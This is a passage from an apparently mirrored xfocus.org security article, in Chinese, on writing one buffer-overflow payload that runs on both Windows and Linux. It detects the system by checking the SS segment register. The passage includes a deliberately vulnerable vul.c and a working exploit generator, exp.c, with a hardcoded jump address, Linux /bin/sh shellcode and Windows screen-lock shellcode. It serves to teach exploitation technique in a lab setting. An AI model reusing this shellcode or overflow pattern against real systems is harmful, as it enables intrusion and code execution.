⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 one exploit play more os.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 2 页
字号:
nop<br />
nop<br />
nop<br />
……<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;但是不管怎样,在ShellCode 前加一段识别操作系统的代码是更可靠的做法。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;至少在Windows NT和Linux家族的各个版本中,段寄存器的值总是固定的:<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;+---------+--------+--------+--------+--------+--------+--------+<br />
&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp; CS&nbsp;&nbsp; |&nbsp;&nbsp; SS&nbsp;&nbsp; |&nbsp;&nbsp; DS&nbsp;&nbsp; |&nbsp;&nbsp; ES&nbsp;&nbsp; |&nbsp;&nbsp; FS&nbsp;&nbsp; |&nbsp;&nbsp; GS&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp;&nbsp;+---------+--------+--------+--------+--------+--------+--------+<br />
&nbsp;&nbsp;&nbsp;&nbsp;| Windows |&nbsp;&nbsp;0x1b&nbsp;&nbsp;|&nbsp;&nbsp;0x23&nbsp;&nbsp;|&nbsp;&nbsp;0x23&nbsp;&nbsp;|&nbsp;&nbsp;0x23&nbsp;&nbsp;|&nbsp;&nbsp;0x38&nbsp;&nbsp;|&nbsp;&nbsp;0x00&nbsp;&nbsp;|<br />
&nbsp;&nbsp;&nbsp;&nbsp;+---------+--------+--------+--------+--------+--------+--------+<br />
&nbsp;&nbsp;&nbsp;&nbsp;| Linux&nbsp;&nbsp; |&nbsp;&nbsp;0x73&nbsp;&nbsp;|&nbsp;&nbsp;0x7b&nbsp;&nbsp;|&nbsp;&nbsp;0x7b&nbsp;&nbsp;|&nbsp;&nbsp;0x7b&nbsp;&nbsp;|&nbsp;&nbsp;0x00&nbsp;&nbsp;|&nbsp;&nbsp;0x33&nbsp;&nbsp;|<br />
&nbsp;&nbsp;&nbsp;&nbsp;+---------+--------+--------+--------+--------+--------+--------+<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;所以,我们可以用这个特性来判断操作系统:<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov ax,ss&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //取出ss的值<br />
&nbsp;&nbsp;&nbsp;&nbsp;cmp al,0x23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //看看是否符合Windows的特征<br />
&nbsp;&nbsp;&nbsp;&nbsp;je&nbsp;&nbsp;WinShellCode&nbsp;&nbsp;&nbsp;&nbsp;//如果符合就跳到WindowsShellCode去执行<br />
LinuxShellCode:<br />
&nbsp;&nbsp;&nbsp;&nbsp;…………<br />
WindowsShellCode:<br />
&nbsp;&nbsp;&nbsp;&nbsp;…………<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;为了验证这个想法,我写了vul.c和exp.c。测试环境是Windows 2000 SP4中文版<br />
和Linux Kernel 2.6.9。编译器是VC 6 SP6和gcc 3.4.3。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;vul.c是一个有问题的代码,从exp.bin中读取数据,拷贝到0x20大小的缓冲区里。<br />
exp.c产生攻击代码,输出到标准输出。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;我不懂Linux,exp.c中使用的LinuxShellCode是从WaterCloud的《溢出利用程序<br />
和编程语言大杂烩》中拷贝来的,功能是执行/bin/sh。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;WindowsShellCode 只是简单地调用了一下NtLockWorkStation,也就是实现锁屏。<br />
0x11b9是Windows 2000的NtLockWorkStation调用号,在Windows XP上应该用0x11c9。<br />
如果你愿意,完全可以替换成其它任何ShellCode。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;在任意平台上编译exp.c,然后运行,并将输出定向到exp.bin。然后分别用VC和<br />
gcc 在Windows 2000和Linux上编译vul.c。将exp.bin拷贝到vul.c编译输出的程序所<br />
在目录下,然后执行vul.c 编译出的程序。在Windows上,会导致锁屏;在linux上,<br />
会执行/bin/sh。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;上面说的都是x86架构的情况,如果目标是PowerPC架构的Mac OS X,情况会更复<br />
杂一点,不过也不是不可能。Phrack 57中的《Architecture Spanning Shellcode》<br />
站在纯ShellCode的角度讨论了构造“Magic String”,是一篇很好的文章。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;感谢newchess帮我确认Linux各版本段寄存器的值都是固定的这一信息;感谢san<br />
和stardust教我用gdb;感谢WaterCloud的ShellCode。<br />
<br />
<br />
[例子代码]<br />
<br />
//------------------------------------------------------------------------<br />
//vul.c<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#ifdef _WIN32<br />
#include &lt;Windows.h&gt;<br />
#endif<br />
<br />
void VulFunc( void )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;char SmallBuff[0x20];<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;//fread( SmallBuff, sizeof(char), 0x1000, stdin );<br />
&nbsp;&nbsp;&nbsp;&nbsp;fread( SmallBuff, sizeof(char), 0x1000, fopen(&quot;exp.bin&quot;, &quot;r&quot;) );<br />
}<br />
<br />
int main(void)<br />
{<br />
#ifdef _WIN32<br />
&nbsp;&nbsp;&nbsp;&nbsp;LoadLibrary(&quot;user32.dll&quot;);&nbsp;&nbsp;//load for NtLockWorkStation<br />
#endif<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;VulFunc();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;no buffer overflow !\n&quot;);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}<br />
<br />
//------------------------------------------------------------------------<br />
//exp.c<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;stdio.h&gt;<br />
<br />
char Payload[] = <br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xE3\x1B\xF8\x77&quot;&nbsp;&nbsp;//0x77f81be3,Windows 2000上jmp esp地址<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xEB\x20&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//往后跳0x20<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xC0\xF7\xFF\xBF&quot;&nbsp;&nbsp;//硬编码的Linux栈地址<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;&nbsp;&nbsp;//0x48&nbsp;&nbsp;dec eax,我喜欢用这个当NOP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x66\x8C\xD0&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//mov ax,ss<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x3C\x23&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//cmp al,0x23<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x74\x23&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//je&nbsp;&nbsp;WindowsShellCode<br />
//LinuxShellCode:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;1\xC0PPP[YZ4\xD0\xCD\x80&quot;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;j\x0BX\x99Rhn/shh//biT[RSTY\xCD\x80&quot;<br />
//WindowsShellCode:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x31\xC0&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//xor&nbsp;&nbsp;eax,eax<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x66\xB8\xB9\x11&quot;&nbsp;&nbsp;//mov&nbsp;&nbsp;ax,0x11b9<br />
&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xCD\x2E&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//int&nbsp;&nbsp;0x2e<br />
&nbsp;&nbsp;&nbsp;&nbsp;;<br />
<br />
int main( void )<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;fwrite( Payload, sizeof(char), sizeof(Payload)-1,stdout);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br />
}
	</td>
  </tr>
</table><div class="footer">  Copyright &copy; 1998-2005 XFOCUS Team. All Rights Reserved</div></body></html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -